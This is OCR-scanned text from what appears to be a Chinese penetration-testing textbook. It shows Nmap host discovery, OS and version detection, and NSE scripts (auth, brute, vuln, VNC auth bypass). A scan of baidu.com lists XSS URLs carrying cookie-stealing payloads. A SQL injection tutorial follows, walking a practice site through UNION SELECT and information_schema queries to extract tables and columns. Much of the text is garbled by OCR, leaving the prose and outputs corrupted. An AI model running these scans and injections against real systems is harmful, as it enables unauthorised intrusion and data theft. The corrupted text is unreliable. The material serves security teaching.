AC Address: BC:A9:82:57:21:6A (Intel Corporated

RACEROUTE
ADDRESS
.59 ms 192.168.0.185

map done: 1 IP address (1 host up?> scanned in 2.58

E2-56 1 EinitihETEERER
1013 Bt P CRRAVELRIRR

11 21:82

seconds

i S Zidm Bt R ECERAVEZRR, WE3-57Rm.

nmap-sP 192.168.0.100/24
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F:\Nmap>nmap -sP 192.168.0.100/24

tarting Nmap 7.40 ( https://nmap.org > at 2017-06-11 21:87 7?7
map scan report for 192.168.0.1
lost is up (B.80608s latency).
AC Address: 34:96:72:12:B5:54 (Tp-link Technologies)
scan report for 192.168.0.165
is up (8.8018s latency).
AC Address: 8C:A9:82:57:21:6A (Intel Corporate)
scan report for 192.168.6.106
is up (B.881s latency).
> Address: CC:AF:78:92:BA:CB (Hon Hai Precision Ind.)
map scan report for 192.168.0.100
lost is up.
map done: 256 IP addresses (4 hosts up) scanned in

T

3-57 SEBEREIERIECERRITTE
11. BiRit i AYR FRGEHE SRS
ToleSFRmBHESIRBISARS Bt IR ERGHAIRA, WE3-58
Fh7s.
nmap —-O 192.168.0.105
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F:\Nmap>nmap -0 192.168.0.185

starting Nmap 7.40 ( https://nmap.org ) at 2017-86-11 21:15 ?
scan report for 192.168.0.185
is up (B.308s latency).
shown: 741 closed ports, 256 filtered ports
STATE SERVICE
open ssh
43/tcp open  https
982/tcp open iss-realsecure
AC Address: B8C:A9:82:57:21:6A (Intel Corporate)
Device type: general purpose
[Running: Linux 3.X14.%
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel
08 details: Linux 3.2 - 4.6
Network Distance: 1 hop

0S detection performed. Please report any incorrect results a
submit/ .
INmap done: 1 IP address <1 host up) scanned in 13.63 seconds

3-58 FABEREIEIRERS
12. BtrithHRAAIARS AR AT
THliSFRal Bict i AR O MRS RAES., WE3-59FT

N
7|
°

nmap-sV 192.168.0.105
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%

2 5Nmapinmap —sU 192.168.08.185

Starting Nmap 7.48 ( tt nmap.org > at 2017-06-11 21
an report for 168.8.185
s up <(B.85 >

> Addr
ice " iz ¢ 403 linux_kernel

ion performed. Ple = report any incorrect results at https

host up) scanned in 18.36 seconds

BE3-59 &l B i a s O3 M FIRR SRR
13 RMB KR
Lk, —JLﬁUﬂﬂFINHF*E’JH"CT MBAKIERIRE. FINSEETRE
S&5XA, WRIRSTRISRFZIRXA, EllFiEopendifiteredikE:, E3-60
.
nmap-sF -T4 192.168.0.105
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F:\Nmap>nmap -sF -T4 192.168.0.185

tarting Nmap 7.408 ( https://nmap.org > at 2017-86-11 21:27 7D1
map scan report for 192.168.0.105
fost is up (B.8016s latency).

Not shown:

997 closed ports

STATE SERVICE
openifiltered ssh

ifiltered https
iss—-realsecure
8C:A9:82:57:21:6A (Intel Corporate)

1 IP address (1 host up) scanned in 4.82 seconds

E3-60 FRMEAX

3.3.2.3 JR&HB
Nmapi@ﬂjﬂ’ﬂ%ﬁﬁéﬂ%, BiEROS. WORE. RSER. RSRARI
. BEEBAZES-1FH6MIRE.

#=3-1 ENM6FNmapim IRERES Y

#®K = 2 X
open Wi 1035 e o] BAV )
filtered S ERY k. At
closed | ] | ] L i
unfiltered | e, 25 Nmap Gik i 1 P b A ! K

open/filtered

't

HORP) sk ¥ 38R, Nmap ASfE N 5

closed/filtered

i 15

A ek L Y, Nmap ASfiE i)

TRETUERS, E2EEdED, BERTHIE M RzRBU T4

PiESBETFR.
3.3.3 Nmapihi

3.3.3.1 HIA&ANE



Www. glanani. com
NmapRIBIAERIAFIExo/nmap/scripts SR, 2NEI3-61F .

» Nmap » scnpu] - I 4y H BE scripts

—% BRESUEEHN TR o = 3

e Broadcast: EBIHMAFREEZRSHATFTSER, MIDHCP/DNS/
SQLServerZ,

BE3-61 NmaphIBa
NmapfIBIAFESALATILE.
o Auth: TREAMNBERUER (52058 RUMIA.

B(H)
=R FEE=
25 i BREB e Hoh
.| acarsd-info.nse 2016/12/19 23:02 NSE X% 4K8
__| address-info.nse 2016/12/19 23:02 NSE X% 9K8
_| afp-brute.nse 2016/12/19 23:02  NSE I7i% 4 KB
.| afp-ls.nse 2016/12/19 23:02 NSE X% 7 KB
__| afp-path-vuln.nse 2016/12/19 23:02 NSE X% 7K
.| afp-serverinfo.nse 2016/12/19 23:02 NSE & 6 K8
__ afp-showmount.nse 2016/12/19 23:02 NSE X 3K8
| ajp-auth.nse 2016/12/19 23:02 NSE X% 3K8
| ajp-brute.nse 2016/12/19 23:02 NSE X% 3K8
| ajp-headers.nse 2016/12/19 23:02 NSE X% 2K8
__| ajp-methods.nse 2016/12/19 23:02 NSE X% 3KB
__ ajp-request.nse 2016/12/19 23:02 NSE X% 3 KB
__| allseeingeye-info.nse 2016/12/19 23:02 NSE X% 7 KB
__| amgp-info.nse 2016/12/19 23:02 NSE X% 2K8
__| asn-query.nse 2016/12/19 23:02 NSE X% 15 K8
| auth-owners.nse 2016/12/19 23:02 NSE X% 3K8
__| auth-spoofinse 2016/12/19 23:02 NSE X% 1K8
.| backorifice-brute.nse 2016/12/19 23:02 NSE X#& 10 K8
.| backorifice-info.nse 2016/12/19 23:02  NSE X% 10 KB
__| bacnet-info.nse 2016/12/19 23:02 NSE X% 41 K8



L BEEMEUNE DR =

e Brute: $XIENNNARMUBIHEHTN, WHTTP/SMTPE.

e Default: EH-sCH- AT EEERNARRIA, IREERRBAD R
1.

e Discovery: MWNBHTEZSEANEE, WISMBKES, SNMPEIEE.

e Dos: FTHTERRSIGG.

e Exploit: FACEANBERANEZRS.

e External: MAE=HIEIEERZR. Hll, #HTWhoisfEifT.

e Fuzzer: EMENIHEA, AXSENEIIEH, RUHEBTERRE.

e Intrusive: NRMRIHIA, HEHIATTEES | 2335 R9IDS/IPSHIC R

f

&

e Malware: RUBIMIEERE RS, HEREIIHER.
e Safe: IHzESIntrusivetffz, BT MR,
e Version: faEiEsaiRSS SHRAIIEINEERIHIA.
o Vuln: REEEBMIESEENRRE, MMS08-067.
3.3.3.2 EIIA
AP R RIEREIRE——script=285i#713%E, ERZ .
o-sC/——script=default: FERERI\HEAHTIFE.
script=<Lua scripts> : EREMNHAHTHRE.
script-args=key1=valuel, key2=value2--: Z2HHETHEIBMAK
BB, keyl EBHE, ZE2HXIMivalueliXME. IEEZNISE, FRESIE
=

e —script-args-file=filename: FERASAAHIAIRESEH.

® script-trace: IR ZE2H, NSRHAH TP AXSEKN
e—script-updatedb: TENmapfiscriptsEREF—script.db34, 1%




MR 7 HEINmapa] FBRUREA, 2O T—VNESHERE, MEB(IFENmapHiE
BT It25, WNmap2BTiscripts BRI EIA, HHTEiREST.
o—script-help: BERZE2HE, NmapLEHiZiA A4 RS
2, UUNFEHRNBEER.
3.3.3.3 3Lfjl
1. 580358
fEF——script=autha] LA B BTN e ES#H TN A <
YRR, HIE3-62F
script=auth 192.168.0.105

nmap

F: \Nmap>nmap script=auth 192.168.0.105

Starting Nmap 7.48 ( https://nmap.org > at 2017-86-11 21:52 7D1
Nmap scan report for 192.168.0.185

Host is up (1.6s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

22/tcp open ssh

443/tcp open https

i_http-default-accounts:

902/tcp open iss-re e

MAC Address: 8C:A?:82: s21:6 (Intel Corporate)

-%Eiﬁﬁ)lﬂ}ﬁﬂ?ﬂm%" SEW T o =

map done: 1 [P address <1 host up) scanned in 79.20 seconds

E3-62 £HTE
2 BRI
NmapEERIBARININEE, SIXIEdERE. SMB, SNMPEH{THRZIEA
BE/E#E, WE3-63fT.
nmap——script=brute 192.168.0.105
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F: \Nmap>nmap script=hrute 192

Starting Nmap 7.48 ¢ https

.168.08.185

i//nmap.org ) at 2017-86-11 22:81 7D1U ¢

scan report for 192.168.0.185
is up (B.8835s latency).

shoun: 997 closed ports
STATE SERVICE
22/tcp open sh
443/tcp open https

citrix-brute-xml: FAILED: No domain specified C(use ntdomain argument)

http—bhrute:

Path "/" dc not require

umauthd-} t

Accounts: No valid accounts
1
:6A

Stati
> Addre

map done: 1 IP address (1

3 EERNRER
NmapBE&imiRIFEAIII
SNEI3-64F71.

982/tcp open real re

host

4t
BE,

authentication

found
guesses in 6 seconds, average tps:
(Intel Corporate)

up) scanned in 689.45 seconds

E3-63 |WEIEG

LU E BirEN MR E ST ESLAER,

nmap——script=vuln 192.168.0.105



%mmﬁwmwmw"m%»mvos}

P:\Nmap>nnap script=vuln 192.168.0.185

Starting Nmap 7.40 ¢ https://nmap.org ) at 2017-86-11 22:14 ?7D1ute
Pre—-scan script results:
! broadcast-avahi-do
H Discovered ho
H 224.0.9.251
H After NULL UDP avahi packet DoS (CUE-2011-1802).
H Hosts are all up <(not wvulnerable).
scan report for 192.168.0.165
is up (A.24s latency)d.
shoun: 997 closed ports
STATE SERUVICE
22/tcp open ssh
443/tcp open https
http-aspnet-debug: ERROR: Script execution failed (use -d debug>
http-csrf: Couldn’t find any CSRF vulnerabilities.
http-dombased—x Couldn’t find any DOM based XSS.
http-stored : Couldn’t find any stored XSS vulnerabilities.
v2-drown:

B82/tcp open ¥ lsecure
IMAC Addre 8C:A9:82:57:21:6A (Intel Corporate)

INmap done: 1 IP address (1 host up) scanned in 208.88 seconds

E3-64 FEENRIRE
4. N FRIRS A
NmapEERZSENNBIRSAVHERA, FIRIVNCRS. MySQLIRSS.

TelnetfR55. RsynclRSSE, HAMAVNCIRS A1, 20E3-65F~.

nmap——script=realvnc-auth-bypass 192.168.0.105



{Emﬁ%mamm"ﬂﬂ»mvms§

F:“Nmap>nmap ——script=realunc—auth-bypass 192.168.0.185

starting Nmap 7.48 ( https nmap.org 2> at 28017-86-11 22:19 7D1uU
scan report for 192.168.8.185
is up (B.833s latency?.
Mot shown: 997 closed ports
STATE SERVICE
open ssh

443/tcp open https
282 /tcp open i realsecure
B8C:A9:82:57:21:6A (Intel Corporate)d

map done: 1 IP addee (1 host up? scanned in 8.46 seconds
E3-65 MARSEE
5. RNE AR E Z RS ERER
WAL M ap < Rl iRN AN N E 22 AR5 T IERIIENR, QE3-66F1E3-67/T

T

nmap —n —p 445 script=broadcast 192.168.0.105



I \Nmap>nmnap p 445 script=broadcast 192.168.0.165

IStarting Nmap 7.48 ¢ https://nmap.org > at 2817-86-11 22:28 ?Diute

Pre-scan script results:
broadcast-avahi-dos:
Discovered hosts:
224.8.0.251
After NULL UDP avahi packet DoS (CUE-2811-1882).
Hosts are all up <not vulnerable).
broadcast—-dhcp-discover:
Response 1 of 1:
IP Offered: 192.168.0.184
Server Identifie 192.168.9.1
Domain Name Ser 192.168.1.1, 192.168.0.1
Subnet Mask: 255.255.255.8
Router: 192.168.68.1
= Domain Name: DHCP HOST
broadcast-dns-service~discovery:
224.90.0.251
9/tcp workstation
Addr 192.168.8.1085 fc20:45e6:6779:0:8ea9:82FfF:fe57:216a
22/tcp udi sh
o Address=192.168.0.1085 fc20:45e6:6779:0:8ea?:82ff:fe57:216a
broadcast-listener:
ether
ARP Request

sender target ip
192.168.0.1

192.168.09.103

192.168.8.186 urn:schemas—upnp-org:device:InternetGatewayDevice:1




EREHEENE Fedtcoe =

%

lticast-echo:

Args =newta
targets—ipvb-multicast
IP: feB8@::Bea?:82fFf:feb57:2
~ipt

ets to add
Gt

HAC:
to add

cedS

script-args=newtargets

‘H”
TATE
open
P open
CCp open
Addy (Intel

IP addres host up)

map done:z 1

E3-67 IFil
6.Whoisf#EifT

HFE=HEiRESREFE A BREtIHER, FIRIE T WhoisfEiT, &

3-68Ff7.

nmap-script external baidu.com

scanned

licited-node)

the results

74 d
the results

Corporate)

in

57.9%7

e:d"

eth@
eth@
eth@

:d5 IPACE:

as

targets
ce:d5 IFACE: eth@

as targets

IEEIMAEEZRSHENER (2)
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\Nmap>nmap -script external baidu.com

tarting Nmap 7.48 ¢ https://nmap.org > at 2817-86-11 22
Pre-scan script results:
targets—-asn:
targets—asn.asn is a mandatory parameter
scan report for baidu.com <123.125.114.144)
is up (A.17s latency).
ther addresses for baidu.com (not scanned): 180.149.132.47 220.181.57.217 111.1

shoun: 998 filtered ports
STATE SERVICE
open http
http-xssed:

UNFIXED XSS vuln.

http://youxi.m.baidu.con/softlist.php?cateid=758anp;phoneid=&anp;url

(3Ex3Cifranez2@8src=http://uwv.xssed.<{br>conx3E
http:/7utility.baidu.con/traf/click.php?id=215&anp;url=http://logh.vordp
http://passport . baidu.con/Tregdanp;tpl sphanp;return_nethod=%22%23Ex3Cifr

src=%£22http://xssed.conx22%3E
http://zhangmen . baidu.con/search. jsp?f =ms&anp; tn=haidunp3i&anp;ct

28&anmp; 1f “&anmp; ron=&anpi;vord=%23CscriptzZ3Ealertz28<{hr >%27X88 +hy+Donino: p

criptz3E
http://7vwi2 .baidu.con/agent/agent_user.php

http://7vwu.baidu.con/s?ud=8quot;;&gt;&lt;scriptigt;alert{(document .cookie)

B lt;/scriptigt;

http://vwul . baidu.con/s7ud=&quot ;Bgt;&ltiscriptigti;alert{(document .cookie
d&lt;/scriptiygt;

http://post. . baidu.con/f7ku=Bquot ;&gt;;&lt;scriptigt;alert(docunent .cookie
delt;/scriptégt;
'

B EMANER A2 M https: //nmap.org/nsedoc/categories.
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4.1 SQUENHERL
4.1.1 HMEBSQLEAN

SQUENFEIEWeb W B2 AP MN\ SRS AR B IR, BN
IRNSHEREEDIEN, FESHHEASEEFESE, REEa LB EArEIsQL
IEE RS SRR ERIRAE.

—fHER &, FRARAILMERFESSQLESIEER. RiENNE. a7
SQLEARENTEETEEN, BREANENFEAENSQUER. HHAAR
. eI EPREREARNSENERERITAFER (WselectiEf)) , HARE
AENSEEHEEARENEERN, IS ESQLEASIFEEA.

TELAPHPIEG) .

$query="SELECT * FROM users WHERE id=$ GET ['id'] ";

HTXEN2HIDaE, BEFNSIEESE, FLEEEBFaLUESHHESQL
B TIGE.

LR, SQUENZEBARNSZERARILS RSN, MRETIA. Bt
UnioniE A%

4.1.2 SQUENRIEE

SQUENRRAF=AEREHELL RN,

o 2HABFEE: AlGEARIRINESHANEERF I LUEHIRY.

o 2HHEASUIEETR: SANSEHHERISQLEM, B AMIEEEA.

SEANNIDSE001 B, FHERENTRIRTR M.

select * from users where id=1'

XAGEHIBEEZALE, FUASIRE. BEANID2Eand 1=189, H4T
MIsQLERIAN M.

select * from users where id=1 and 1=1

BHA1=11%, BwhereiZf)did=1108%, FllNERRESd=11ERK
ZH, BEANID2Ehand 1=2f, BTF1=24m13Z, FLARENR, mESSIRES
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WWW. qlanani. com
id=1ARINEER.
FILET ARSI DEFFFESQLENRR, BEE eI —SHHESQLER
PHIBGE, BUSMIEEERIMNE, EEit—SRIRSSEIRSE.
TELfRAEH, NERE BRI SE IS S TsAFESQUINRR, Fitt
HEEZFE "INP2HERIENEN" #HTAA.
4.1.3 5SMySQLFNEXATAIRA
BN ESQUENRRRT, Stk FMySQLRS5SQUENRBREXAIENR

=1
£

TEMySQL 5.0kAZ S, MySQLENATESIERE+ZH—
4 “information_schema” RUEERE, MZEF, EEFECEI=AFE, IR
SCHEMATA, TABLESFICOLUMNS,

SCHEMATARFEZFEF SIERNFTEEIRENES, ME4- 1. FIIFE
IDEZETPCREIEEEZNFEREZ ASCHEMA_NAME.

> >» BER28 N 26 B numoacEs

R

CATALOG_NAM T_CHARACTER_SET_NAME DEFAULT_COLLATION_NAME SOL_PATH
del utl8_general_ci NULL
dol gbk_chinese_ci NULL
del latin1_swedish_ci NULL
et utl_general_ci NULL
del gbk_chinese_c NULL
det utié_general_ci NULL
def utlé_general_ci NULL
dal utl_general_ci NULL
del gok_chinese_ci NULL
v utié_general_ci NULL
del ultl8_general_ci NULL
L uti8_general_ci NULL

El4-1 SCHEMTAZE

TABLESZ=AFEIXFF SRR E SRS fiks, WE4-2Fr. Hi1H
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El4-2 TABLESZ=

COLUMNSEFEZ B eI B EURENERS. ERNFRE, WE4-3

. BAIRBEICEZERTICREIBEES. RENFRENFREN
TABLE_SCHEMA, TABLE NAMERICOLUMN_NAME,
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- am

YAILM TABLE SCHEMA  TABLE NAME COLUMN NAME ORDINAL POSI
def _schema  Ch SETS CHARACTER_SET_NAME
det information_schermra  CHARACTER_SETS DEFAULT_COLLATE_NAME
def _scherma  C _SETS DESCRIPTION

det _scherna _SETS MAXLEN

det information_schema  COLLATIONS COLLATION_NAME

det information_scherma  COLLATIONS CHARACTER_SET_NAME
det informaton_schema  COLLATIONS 0

det inlormation_scherra  COLLATIONS IS_DEFALLT

def information_scherma  COLLATIONS IS_COMPLED

det information_scherma  COLLATIONS SOATLEN

det information_scherma  COLLATION_CHARACTER_SET_APPLICABILITY COLLATION_NAME

det information_schema  COLLATION_CHARACTER_SET_APPLICABILITY L NAME
det informaton_scherma  COLUMNS TABLE CATALOG

det information_scherma  COLUMNS TABLE_SCHEMA

det nformaton_scherma  COLUMNS TABLE _NAME

def Information_scherra  COLUMNS COLUMN_NAME

def information_schema  COLUMNS ORDINAL_POSITION

det informaton_schema  COLUMNS COLUMN_DEFALLT

det information_scherra  COLUMNS IS_NULLASLE

det informaton_schema  COLUMNS DATA_TYPE

def Inlormation_schema  COLUMNS CHARACTER_MAXIMUM_LENGTH
det information_scherma COLUMNS CHARACTER_OCTET_LENGTH
def mformaton_scherra  COLUMNS NUMERIC_PRECISION
det nformaton_scherma  COLUMNS NUMERIC_SCALE

det information_schema  COLUMNS DATETIME_PRECISION
det Information_scherma  COLUMNS CHARACTER_SET _NAME
def information_scherma  COLUMNS COULATION_NAME

det informaton_schema  COLUMNS COLUMN_TYPE

def information_scherra  COLUMNS COLUMN_KEY

det mformaton_schema  COLUMNS EXTRA

E4-3 COLUMNSs=

#ARIMySQLEIEAFNRE] Ns.
1.MySQLEIFES

A HTEME, E0 T R.

SELECT ZEEngJFER%E FROM FEE.EZ

EAE—RENEHE, B9 N

SELECT ZEENgIFERE FROM ER.ES WHERE EXIEHNTRE=" B
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FSRERYE

TEREREACAEMET, 55 M.

SELECT ZEaHFERE FROM FEE XE WHERE EAIFEH1NFRE=" B
FEA1R9E AND BRIE2HNFRE=" Bt 2IE

2. limitAYFEi%

limitAERIEAlimit m, n, HEmEECETRIME, NoFHE, Fx
05 nEENNEDE. fitlimit 0, 1EFMNE—LICFRTHE, B—5CF,
AERlmit R limitEN AR R AR 4-4F0E4- 5, sILMERSEH —EHKX
Al
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superman  genious
batman moblle
admin admin

SRE FES X B
SRE FES X BB
SRE EH X BB

BE4-4 ANMEEIimitiTHE SR

Uy + IR
ol - id username password
SWB 3<ES X @ 1 Dumb Dumb
SRR 3 BE X WR 2 Angelina  I-kill-you
SR FcE% X mes 3 Dummy  p@ssword
SRR 3 EH X M 4 secure crappy
SRE FEH X @ S stupd stupidity
6
7
8

—«og BHEUEEH S oo =
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SELECT * FROM user{ limit 0,1'
+ &M
— T — < id username password

SRE F<HES X Mg 1 Dumb Dumb
T 2% BPm pew F<uy X8 [FSst

E4-5 FRlmitIHNE=gER

3. FECER L EEE

e database () : HAETMULEERIVEIREREE.

e version () : HBIMySQLAIKRAS.

o user () : HEIMySQLIIEF.
4R

EMysQLF, BIERSHERALN: #3%
5. RECERE

REGERAI: /*! code*/. WESEESILIRTENSQLEAF, BT

FAWSQLESR, TEE—MITF

index.php?id=-15 /*! UNION*//*! SELECT*/1, 2, 3.
4.1.4 UnionfE NI

Unioni E ABGEAGENE : http://www.ccctf.cn/union.php?id=1.

piEhZRIiteY, RERERSENE4-6F7.

IR/
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Gecko/20100101 T4
Accept: text/html, -”uuun/m.l--x application/mel qe0.9,%/*1q=0.8
Accept-Language: Th-C,3h;qw0.0,en-08/q%0.5,00/q%0.3

1p, deflate

Opgrade-Insecare-Requests! 1

[} /i o

Date: Fri, 01 Dee 2017 L4137.08 any
Server: Apache

X-Powered-By: PAP/S.6.30

Content -Lengthi 1§

Connection: close

Content-Type: text/htal; charset~oTr-§

Dumb : Dumbebr s

E4-6 i5/alid=1RI TR ERIESR

FURLIGAII—ES1S, BXAE,
SRR,

T 7-mm":‘ LI ZE T

Sost: www.ccetf.en

Oser-Agent: Mozilla/$.0 (Macintosh; Intel %Mac 05 X 10.13; rvi83.0)
Gecko /20100101 Firefox/$3.0

PPlication/mmliqe0.9,»/* 1qu0. 0
Bienige0.d

Upgrade-Insecure-Requests: |

NE4-7FR, RNERERERSId=1

3

Date: Fri, 01 Dec 2017 14133149 Gy
Server: Apache

EZ-Povered-By: PAF/5.4.30
Content-Length: 7

Connection: close

Content-Type: text/Atnl; charsetsorTr-2

1 <he>

E4-7 ipiElid=1"NREAER

iAlid=1 and 1=1,

FENER, NE4-9F .

Accept i text/htsl,epplication/xhimlemnl,applieation/wml qe0.9, /% jqe0.0

Accept-Language: Th-Cl,zhjge0.8,en-08:9%0.5,en;q%0.3
Accept-Encoding: guip, deflate

Connection: close

Opgrade-Insecure-Requesta: 1

HFand 1=18%, FFAREAIRESId=11EE%E
B, WE4-8F~. hiaid=1 and 1=2, HFand 1=2H8R, FrLAREALREISId=1

ATTP/I.1 300 oF

Oate: Fri, O1 Des 2017 14437408 anr
Garver: e

X-Povered-By: nr': 6.3

Content -Length:

Connection: enu

Content-Type: text html; charset=0Tr-4

Dumb : Dumb<br

E4-8 iiaid=1 and 1=1RENSRE

/5.0 (Mecintosh; Intel Wac OF X 10,127 rvi53.0)
Gecko/20100101 Firefox/$3.0

Accept i text/html, epplicetion/ nuh-l.-”uuu» liqe0. .y, 0 /0 gm0
uc-.v. Language: IN-CU, 3R qe0. 0, en-0079%0.5,0n1q%0

93ip, deflate

/1.1 300 of

Dater Tri, 01 Des 2017 14137118 Guv
Server: Apache

X-Povered-Ry: PP/3.6.30

Content-Leagth: 7
Connection: close
Content-Type: text/html; charset=0Tr-8

1 >

E4-9 ii5ialid=1 and 1=2RRREER



WWW. glanani. com
AILBHIZMIL ATBEFESQLENRRRVES. =8, (£forder by 1-9915
AEIZIIEENFTEHE, LI Norder by=1-99, #liAialid=1 order by 3,
EIRESid=118RINER, WE4-10f7=. HAlid=1 order by 4, TAEIRMESid=1
AENERE, NFERECH3, MEL-11A7R.

B R R R g s mm——e e

GET unioh-phplide|tecdessbysd BTTR 1.1 Y BPEP 1.1 100 oF

Sost: www.sootf.en Date: Fri, 01 Dec 2017 14188189 owv
Sser-Ageat: Neuilla/§.0 (Macintesh; Intel Mac O X 10.12; rvi83.0) Server i hpache

Seche /20100101 Firefem/$3.0 X-Powered-Byi FEF/S.6.30

Accept: temt/html,application/mhtslemml,applicetion/ meliqe0.9, o/ %;920.0 Content-Lengthi 1§
Accept-Language! Sh-CW,zhiq=0.0, en-05;q=0.5, enjq=9.3 Connestion: close

Accept-Encoding: gEip, deflats
Connection: close
Sparade-Insecure-Requests: | Bumb i Dumb<besr

Content-frpe: text /html; charset=0TF-§

E4-10 ifElid=1 order by 3FITIEAYES.

GET /union.phplid=lsorder+sby+d BTFR/ 1.1 a ATTP/L.1 100 OF

Bost: www.ocetf.on Date: Fri, 01 Dec 2017 14187129 ooy
Oser-Agent: Mozilla/$.0 (Macintosh; Intel Mac ©5 X 10,12 rvi83.0) Server: Apache

Gecko /20100101 Firefox/§1.0 E-FPowered-By: PEP/5.6.30

Accept: text/html. application/zhtalemml, application/mml jq=0.9, +/+;q=0.0 Content -Length: 7

Aocept-Language: Th-CW,zh;qe0.8,en-05;q0.5,enjq=0.3 Connection: closs

hocept-Encoding: g2ip., deflate Content-Type: text/hml; charset=07r-8
Connection: close

Opgrade-Insscure-Requesta: | T <br>

E4-11 ifiElid=1 order by 4R TIERE:
EIEEFERSHIDNNNRE, KASESEENASHHENE, B2
BERsHRTuE LA, FRLAILAERUNnioniE N, BiliJorder byEiaiER, 83F

EB#m3, FrLAUnionsE ABNETM M.

union select 1, 2, 3

WME4-12f7=, AILAERREARIIHNLT, Bi&BiRElunion selectflJ4ER, X
ERTRBRIEEE—REE, Frllunion selecBRENNE R 2EHHEITE.

Eﬁﬁ%%iﬁ%"ﬁ%»mvosg

2
S

GET /union.php? ide|sunionssslectel, 2, OTTP/ 1.1 I WTTF/L.1 200 oOF

Hosts www.oectf.on Date: Fri, 01 Des 2017 18:00.89 cuv
Dser-Agent: Mouilla/S.0 (Mesintosh; Intel Nas ©5 X 10,13 rvi$3.0) Server: Apachs

Gocko /30100101 Firefom/83.0 E-Fowered-By: FEP/§.4.38

Aocepti text/html,application/html+aml,application/mel q=8.9, /= q=0.8 Content-Leagth: 1%

Accept-Language ! Th-OU,zhiqed. B, en-05;qe0.%, enjqe=0.} Connection: close

hecept-Encoding: gzip, deflate Content-Type: text/html; charset=017-8
Connection: close

Upgrade-Insecurs-Requests: 1 Dumb : Dumb<brs

E4-12 i/Elid=1 union select 1, 2, 3THERIESER
AILABHEE2MIDE, 1HRSiwIRElunion selectfU45ER, Fidl, BIDRYE
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REN-1, HEUERESIEAId=-11%0E, FrLi&iREunion selectf&ER, WE
4-13ff7s.

hoe hrmlemml, application/ ml qes. .8,/ jqud e
on-08;q=0.5, eniq=0.3 e on: close
Content=-Type: text/htal; charset=0tTr-§

2 & Yebe>

E4-13 ifElid=-1 union select 1, 2, 3EFTAEAYE

YN RERIEER2 - 3, BEBRETEunion select 1, 2, 3th, 2AMHIETTLIS
AMySQLEF]. FAIEEAAMIEENGLRIEIREER (Ffdatabase () E#) |,
150alid=1 union select 1, database () , 3, MEAVIRE THIEEEE, UE
4-14f73.

E4-14 FIAUnionjE \FxEldatabase ()
BATHEEESR, BSREATGSEITRS.
select table name from information_schema.tables where
NN table schema='sqgl’ limit 0, 1;
SRR ERINES), XEREMLES, SRNE4-157R, EHERE
THIEENE—ES. IRRERE_ RS, WelimithlE—A#T, Bl
Flimit 1, 1Rl DEREEIRENE 1 RS, ME4-16FT7R.

BEREMEENNE" S ice =5

S
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] BYTF/ 1.1 208 OF

unlon.phplids-l+unionteslect+], (selectstable nass+fromsinformation_sches -4 Date: Fri, 01 Dec 2007 18:16:18 cuvw
a.tablesveharartable_schemas sgl +limets0,1),3 8PeR/l.1 Sarve ac

Sost: www.cootf.on I-Fowsred-By: FOF/5.6.30

Sser-Agent | Mouilla/§.0 (Macintesh; Intel Mac 05 X 10.13; rvi83.0) Content -Length: 14

Gecko /20100101 Firefox/§1.0 Comnection: close

Accept: texmt/html,spplication/zhtmlexnl,application/mmlig=0.%, +/*jg=0.0 Content-Type: tewt /himl; charset=0vr-8
Accept-Language: Th-OW,3h;q=0.0.en-08:q=0.5.en;q=0.)

Accept-Enceding: gIip, deflate emails @ Jebrs

Connection: close
Opgrade-Insecure-Requests: |

El4-15 FIFUnioniENFEISE—FESR

o . WEPF/1.1 100 OF

unios.php?ide- Lrunionssslectsl, (sslectstable nams+fromsinfornat ion_sches Dates Fri, 01 Dae 2007 15:18:31 oWy
a.tablestvhersstable_schenas sql slimitel,1),5 sree/i.i Server: Apache

Bosti www.cootf.cm X-Powsred-By: PEP/S.6.30

Oser-Agent: Mozilla/$.90 (Mecintosh; Intel Mec 05 X 10.12; rviSd.o) Content-Length: 16

Cecko /10100101 Firefox/§1.0 Connection: close

Aecept| temt/html,applicat ion/shtnlvmsl, applicat ion/meliqe0 .9, o/ qu0. 8 Content-Typs: text /html; charsst=ovr-8

Acoept-Language: Ih-CM, zhiq=0.0, en-05,q=0.5, enjq=0.]
Aocept -Encoding: guip, deflate

Connection: close

Opgrade-Insscure-Requeste: |

T Jebes

E4-16 FIFAUnioniE NFFENE A HE

WE, FrENEESEMERTE, CRESNES, HaEa7ERE, X2
emails&& 961, BB .

select column_name from information_schema.columns where
table schema='sql' and table hame="'emails' imit 0, 1;

SRR ERINES), ESEREAAD, ERUNEA- 17/, FRBT
emailsENE— N FRE, EIEMlimit 1, 1, KT emailskNE_NFRE, W
El4-18F7T~.

T 2 | VFLLT Te ok
union.phpltide-lsanionsselectsl, | selectecolusn_name+fromsinf ormat on_sche Date: Fri, 81 Dec 1017 18:28:08 ouv
4. 60 lusnsswhers+table_schemas sql sand+table names smails’ +limitsp,D),3 Server: Apachs

1

E-Powared-Byi PEP/S.6.30

1.

v seetl . en Contant -Langthi 18

Geer-Agent: Mouilla/§.0 (Macintosh; Intel Nac 05 X 10.13; rvi183.0) Comnection: olose

Gecko /20100101 Firefox/8§).0 Content-Type: text/html; charset=oTf-8
Accept tewmt/ktml,appl
Accept-Language: h-CN
Aocept-Encoding: gEip.
Connestion: cloes
Opgrade-Insscures -Requests: |

on/xhtaleml, application /sl qe0. 9,/ jqe0. 8
=0 .8, 8n-051qe0. 5, en;qe0.3
ate

a4 : Jebes

E4-17 FIBUnion ENGFRE—FES
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GET

%9 of

union.phplide- lsunionssslactel, |salact scolumn_nanssfrossinformation_sche t Fri, 01 Dec 2017 15139109 cuv
ma.colusnstvherestable_schemas sql vande=table_mames ssails slimitell 1), pache

sTER/l.l -By: PEF/S.6.30

Bost: www.cootf.cn Lengthi 14

Oser-Agent: Nomilla/$.0 (Macistosh; Intel Mac OS X 10.13) rvi83.0) Connection: close

Gecko /20100101 Firefox/5).0 Contest-Typs: text html; charsst=otTr-§
Ahecept: text/html,applicetion/zhtmleuml application/mel iqe0.9,%/¢;q=0.0

Aecept-Language: Th-CN,3hig=0.8,en-08;q=0.%,en7q=0.2 email_id : I=brs

Acespt-Encoding: grip, deflate

Connesticn: close

Upgrade-Insscurs-Requests: |

E4-18 FIRUnion ENGFEE_ A FE3
EREN Y . REMFREN, HolMSiEsSQUERIEIaEIRERERNEIE, 7
A AIEEFERemail idSIVEHE, MSIISQLEAM .
select email id from sql.emails limit 0, 1;

ZERINE4-19F7R, EIRE] 7 email_idiE—5RE0E.

o 3 | ¥R/IT 300 of

uuuuuu phplide-lrunionssslectel, (salectrannil_idefremengl. anailoslinited Date: T 01 Dwe 2017 15:33:06 GuY
11,3 eTTR/LL Serw

Wost1 www.coetf.on XaPor

